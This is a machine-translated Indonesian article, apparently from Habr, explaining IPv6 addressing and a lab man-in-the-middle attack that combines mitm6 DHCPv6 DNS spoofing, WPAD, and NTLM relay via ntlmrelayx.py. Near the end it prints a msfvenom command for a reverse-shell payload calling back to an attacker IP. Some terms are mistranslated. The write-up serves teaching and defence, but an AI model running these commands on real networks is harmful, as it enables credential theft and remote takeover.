Di mana memasukkan tanda kutip di IPv6

IPv6 adalah versi baru dari protokol Internet. Anggota IETF menerimanya hanya 22 tahun yang lalu, pada tahun 1996. Selama waktu ini, serangan IPv6 tertentu berhasil muncul. Tujuan artikel ini, berdasarkan presentasi kami di PHDays 8, adalah untuk menunjukkan kemungkinan serangan pada jaringan perusahaan oleh penyusup internal menggunakan IPv4 dan IPv6.



Dasar-Dasar Mengatasi IPv6


Panjang alamat IPv6 adalah 128 bit, yang ditulis dalam format heksadesimal dengan pembagian seluruh alamat menjadi 8 kelompok. Contoh penulisan alamat IPv6:

2001: 0a00: kafe: sayang: 0001: 0000: 0000: 0011/64

Ada catatan alamat yang disederhanakan ketika beberapa kelompok nol berikutnya dapat diganti dengan "::", tetapi hanya sekali. Nol yang ditulis di sebelah kiri dalam setiap grup dapat dibuang. Jadi, alamat di atas dapat ditulis sebagai:

2001: a00: cafe: babe: 1 :: 11/64

Ukuran standar dari bagian host yang dikeluarkan oleh penyedia untuk klien adalah 64 bit, dimana 4 digunakan untuk membagi jaringan menjadi subnet.



Ada beberapa jenis alamat di IPv6:


Global unicast adalah analog dari alamat publik di IPv4. Alamat-alamat ini dikeluarkan oleh IANA dan unik di seluruh Internet. Alamat-alamat ini berada dalam kisaran 2000 :: / 3 (2000 - 3FFF).

Alamat lokal (Tautan-lokal) - alamat dalam kisaran FE80 :: / 10 (FE80 - FEBF) secara otomatis dihasilkan oleh perangkat dan digunakan untuk berinteraksi dengan perangkat lain di jaringan lokal yang sama. Lalu lintas yang berisi alamat ini sebagai pengirim atau penerima tidak boleh dialihkan. Dengan demikian, perangkat yang mendukung IPv6 dan terhubung ke jaringan dapat segera bertukar informasi dalam subnetnya tanpa konfigurasi apa pun.

Alamat Loopback :: 1 . Alamat ini mirip dengan 127.0.0.1 di IPv4. Paket yang dikirim tidak meninggalkan perangkat.

Alamat tidak ditentukan - alamat "::", hanya terdiri dari nol. Ini digunakan dalam beberapa kasus sebagai pengirim sampai alamat diterima.

Alamat lokal unik (Unique local) - analog dengan alamat pribadi di IPv4, dapat dialihkan dalam jaringan internal organisasi, tanpa kemungkinan perutean ke Internet. Ruang alamat IPv6 sangat besar sehingga lebih dari satu triliun alamat dapat dikeluarkan untuk setiap orang di planet ini dan itu tidak akan berakhir. Oleh karena itu, IPv6 menyiratkan ditinggalkannya alamat pribadi dalam arti di mana mereka digunakan dalam IPv4 karena kurangnya alamat publik.

Alamat IPv4 dipetakan ke IPv6 (IPv4 tertanam) - Alamat IPv6 dimulai dengan :: ffff: 32 bit terakhir yang berisi alamat IPv4 (:: ffff: xxxx: xxxx, di mana xxxx: xxxx adalah alamat IPv4 yang dikonversi menjadi heksadesimal). Alamat-alamat ini digunakan untuk perangkat yang tidak mendukung IPv6 dan menyediakan cara untuk memetakan ruang alamat IPv4 ke ruang alamat IPv6.

Alamat multicast (Multicast) - salah satu perubahan utama dalam IPv6 dibandingkan dengan IPv4. Protokol baru menolak paket siaran, bukan alamat broadcast yang digunakan alamat multicast. Semua alamat ini berada dalam kisaran FF00 :: / 8



Penugasan Alamat IPv6


IPv6 menggunakan ICMPv6 Neighbor Discovery Protocol (ND) untuk mendapatkan informasi alamat. Seperti yang ditunjukkan pada gambar di bawah ini, ketika perangkat baru muncul di jaringan IPv6, perangkat mengirim permintaan untuk mendapatkan alamat IPv6 (Pengajuan Router) ke "ff02 :: 2" (semua router jaringan). Router merespons dengan pesan (Router Advertising) yang berisi informasi tentang cara mendapatkan alamat IPv6. Tergantung pada flag yang diatur dalam pesan, ada tiga cara:
Cara mendapatkan alamatnyaBendera (Otomatis)O (Lainnya) benderaBendera M (Terkelola)
SLAAC (default)100
SLAAC + DHCPv6110
DHCPv60-1

SLAAC (Stateless Address Autoconfiguration) - Dalam hal ini, semua yang diperlukan untuk menghasilkan alamat IPv6 global ada di pesan RA.

SLAAC + DHCPv6 - Seperti halnya dalam kasus SLAAC, alamat dihasilkan berdasarkan informasi dalam paket RA, tetapi flag O juga diatur, yang berarti konfigurasi lain, dan perangkat harus menghubungi server DHCPv6 untuk mendapatkan pengaturan tambahan, misalnya, server DNS.

DHCPv6 adalah analog dari alamat DHCPv4 dan semua informasi lainnya dikeluarkan oleh server DHCP, dengan pengecualian gateway default, yang diambil dari alamat pengirim paket RA.

Ketika bendera O dan M diatur pada waktu yang sama, bendera O diabaikan.


Sebagai contoh, ambil utilitas fake_router26 dari suite utilitas thc-ipv6 . Gambar menunjukkan bahwa setelah memulai, alamat IPv6 dari gateway default ditambahkan, yang menjadi prioritas di atas IPv4.



Serang!


Dalam skenario ini, kami akan mempertimbangkan kemungkinan serangan man-in-the-middle menggunakan mekanisme untuk mendapatkan pengaturan jaringan IPv6.

Untuk demonstrasi, kita membutuhkan 4 mobil:

Mesin penyerang adalah Kali Linux.



Mesin server tempat bola admin Windows 7 akan dihidupkan.



Mesin klien yang akan memiliki akses ke server Windows 7.



Router dengan DHCPv4 diaktifkan.

dirkjanm menjelaskan metodologi untuk skenario ini. Dia menulis utilitas mitm6, yang, menggunakan protokol ND, mengirimkan pesan Perutean Router dengan tanda "O" dan "M" diatur ke "1". Dengan demikian, klien tahu bahwa perlu untuk meminta informasi alamat dari server DHCPv6. Klien mulai mengirim pesan DHCPv6 SOLICIT untuk menemukan server DHCP. Utilitas menanggapi permintaan dengan pesan DHCPv6 ADVERTISE; responsnya berisi alamat mesin penyerang sebagai server DNS.

Permintaan untuk informasi alamat yang dikirim ke alamat multicast semua server DHCP ff02 :: 1: 2

Setelah itu, karena fitur arsitektur sistem operasi, DHCPv6 DNS menjadi prioritas. Sekarang penyerang dapat menanggapi setiap permintaan DNS dengan alamat yang benar. Dengan demikian, permintaan yang dikirim oleh nama domain akan dikirim ke kebijaksanaan penyerang.

Dengan menjalankan mitm6, Anda dapat menentukan domain tempat untuk mengganti alamat DNS.





Bola admin


Untuk meningkatkan efek dramatis, anggaplah bahwa ada mesin lain di jaringan tempat pengguna mesin pertama diizinkan untuk terhubung ke bola administratif. Secara default, mereka dimatikan, tetapi di Internet banyak orang tertarik pada cara menyalakannya, dan sangat senang ketika mereka mendapatkannya.





WPAD (Web Proxy Auto Discovery) adalah protokol untuk menentukan lokasi file di mana pengaturan proxy default berada.

Setelah memperbarui MS16-077, wpad tidak lagi diberikan melalui NETBIOS dan tidak diautentikasi secara otomatis pada server proxy.

Untuk melewati pembatasan ini, Anda dapat menggunakan ntlmrelayx.py, yang merupakan bagian dari impacket . Diperlukan versi yang lebih tinggi dari 0.9.16, yang mencakup dukungan IPv6 dan kemampuan untuk menginstal server yang membuat wpad yang valid. Peluncuran dilakukan oleh tim

ntlmrelayx.py -6 -wh at.localdomain -t smb://192.168.56.7 -e 1.exe 

di mana 1.exe adalah muatan reverse-shell yang dihasilkan oleh metasplit.

 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.6 LPORT=444 -f exe -o 1.exe 

parameter -wh menunjukkan host tempat file wpad berada (utilitas mitm6 akan merespons dengan alamat penyerang untuk permintaan ini)





Setelah terhubung, otentikasi HTTP 407 (Diperlukan Otentikasi Proksi) akan diminta, yang untuknya browser secara otomatis diautentikasi.





Data yang diterima akan digunakan untuk terhubung ke seseorang dari server yang diserang, melewati parameter -t.





Saya berterima kasih kepada rekan penulis saya Sergey Ovchinnikov malchikserega atas bantuannya dalam mempersiapkan presentasi dan artikel.

Source: https://habr.com/ru/post/id417285/


All Articles